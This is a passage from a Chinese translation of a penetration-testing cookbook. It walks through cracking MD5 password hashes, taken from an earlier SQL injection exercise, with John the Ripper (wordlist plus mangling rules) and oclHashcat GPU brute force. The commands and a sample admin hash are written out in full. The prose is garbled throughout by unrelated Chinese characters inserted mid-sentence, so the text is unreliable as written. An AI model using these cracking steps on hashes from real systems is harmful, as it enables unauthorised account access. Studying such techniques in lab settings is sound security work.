這個秘籍中,我們會使用 John the Ripper(JTR 或 John)买置,最流行的密碼破解器粪糙,從第六章“逐步執(zhí)行基本的 SQL注入”秘籍中提取的哈希中恢復(fù)密碼。
操作步驟
-
雖然 JTR 對接受的輸入非常靈活忿项,為了防止錯誤解釋蓉冈,我們首先需要以特定格式設(shè)置用戶名和密碼哈希。創(chuàng)建叫做
hashes_6_7.txt
的文本文件倦卖,每行包含一個名稱和一個哈希洒擦,以冒號分隔(username:hash
),像這樣: -
一旦我們擁有了這個文件怕膛,我們可以打開終端并執(zhí)行下列命令:
john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5 hashes_6_7.txt
我們使用 Kali 預(yù)置的單詞列表之一熟嫩。我們可以看到單詞列表中六個密碼發(fā)現(xiàn)了五個,我們也能發(fā)現(xiàn)褐捻,John 每秒能比較 10,336,000 次(10,336 KC/s)掸茅。
-
John 也有選項來應(yīng)用修改器規(guī)則 -- 添加前后綴椅邓,修改大小寫,以及在每個密碼上使用 leetspeak昧狮。讓我們在仍然未破解的密碼上嘗試它們:
john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5 hashes_6_7.txt –rules
我們可以看到這個規(guī)則生效了景馁,我們得到了最后一個密碼。
工作原理
John(以及任何離線密碼破解器)的工作方式是計算列表(或所生成的)單詞的哈希逗鸣,并將它們與需要被破解的哈希對比合住,當(dāng)存在匹配時,它就假設(shè)密碼找到了撒璧。
第一個命令使用--wordlist
選項告訴 John 要使用什么單詞透葛。如果忽略了它卿樱,它會生成自己的列表來執(zhí)行爆破攻擊僚害。--format
選項告訴我們要使用什么算法來生成哈希,如果這個選項被忽略繁调,John 會猜測它萨蚕,通常帶有不錯的結(jié)果。最后蹄胰,我們將包含想要破解的哈希的文件傳入岳遥。
- 我們可以通過使用
--rules
選項來增加找到密碼的機(jī)會,因為在嘗試創(chuàng)建更強(qiáng)的密碼來破解的時候烤送,它會使用人們對單詞所做的常用修改寒随。例如,對于password
帮坚,John也會嘗試下面的東西:
Password
PASSWORD
password123
Pa$$w0rd
7.9 使用 oclHashcat/cudaHashcat 爆破密碼哈希
最近妻往,顯卡的發(fā)展取得了巨大突破,這種芯片中含有成百上千個處理器试和,它們都并行工作讯泣。這里,當(dāng)應(yīng)用在密碼破解上是阅悍,這意味著好渠,如果單個處理每秒可以計算一萬個哈希,一個帶有上千內(nèi)核的 GPU 就能夠計算一千萬個节视。這可以將破解時間降至一千分之一拳锚。
現(xiàn)在我們使用 Hashcat 的 GPU 版本來爆破密碼。如果你在 N 卡的電腦上安裝的 Kali寻行,你需要 cudeHashcat霍掺。如果它安裝在 A 卡的電腦上,則需要 oclHashcat。如果你在虛擬機(jī)上安裝 kali杆烁,GPU 破解可能不工作牙丽,但是你始終可以在你的主機(jī)上安裝它咐扭,Windows 和 Linux 上都有它的版本续誉。
這個秘籍中,我們會使用 oclHashcat锐墙,它和 cudaHashcat 的命令沒有區(qū)別析校,雖然 A 卡對于密碼破解更加高效构罗。
準(zhǔn)備
我們需要確保你正確安裝了顯卡驅(qū)動,oclHashcat 也兼容它們勺良,所以你需要做這些事情:
-
單獨運(yùn)行 oclHashcat绰播,如果出現(xiàn)問題它會告訴你骄噪。
oclhashcat
-
測試它在跑分模式中支持的每種算法的哈希率尚困。
oclhashcat --benchmark
-
取決于你的安裝,oclHahcat 可能需要在你的特定顯卡上強(qiáng)行工作:
oclhashcat --benchmark --force
我們會使用上一個秘籍的相同哈希文件链蕊。
Kali 默認(rèn)安裝的 oclHashcat 上有一些問題事甜,所以如果你在運(yùn)行 oclHashcat 的時候出現(xiàn)了問題,你始終可以從官網(wǎng)上下載最新版本滔韵,并從你解壓的地方直接運(yùn)行(http://hashcat.net/ oclhashcat/
)逻谦。
操作步驟
-
我們首先破解單個哈希,讓我們試試
admin
的哈希:oclhashcat -m 0 -a 3 21232f297a57a5a743894a0e4a801fc3
你可以看到陪蜻,我們能夠直接從命令行中設(shè)置哈希邦马,它會在一秒之內(nèi)破解出來。
-
現(xiàn)在宴卖,為了破解整個文件滋将,我們需要去掉用戶名,只保留哈希症昏,像這樣:
我們創(chuàng)建了只包含哈希的新文件随闽。
-
為了破解文件中的哈希,我們只需要在上一條命令中將哈希替換為文件名稱肝谭。
oclhashcat -m 0 -a 3 hashes_only_6_7.txt
你可以看到掘宪,它在三分鐘之內(nèi)涵蓋了一到七個字符的所有組合(每秒破解 6.885 億個哈希)。并且它需要花費(fèi)多于兩個小時來測試八個字符的所有組合攘烛。這對于爆破來說十分有效魏滚。
工作原理
在這個秘籍中,我們用于執(zhí)行oclHahcat
的參數(shù)定義了要使用的哈希算法:-m 0
告訴程序使用 MD5 來計算所生成單詞的哈希坟漱,以及攻擊類型鼠次,-a 3
的意思是我們打算使用純爆破攻擊,并嘗試所有可能的字符組合,直到發(fā)現(xiàn)了密碼须眷。最后竖瘾,我們在第一種情況中添加了我們打算破解的哈希,第二種情況中我們添加了包含哈希集合的文件花颗。
oclHahcat 也可以使用字典文件來執(zhí)行混合攻擊(爆破加上字典)來定義要測試哪個字符集捕传,并將結(jié)果保存到指定文件中(/usr/share/oclhashcat/oclHashcat.pot
)。他也可以對單詞應(yīng)用規(guī)則扩劝,并使用統(tǒng)計模型(馬爾科夫鏈)來增加破解效率庸论。使用--help
命令來查看所有選項,像這樣:
oclhashcat --help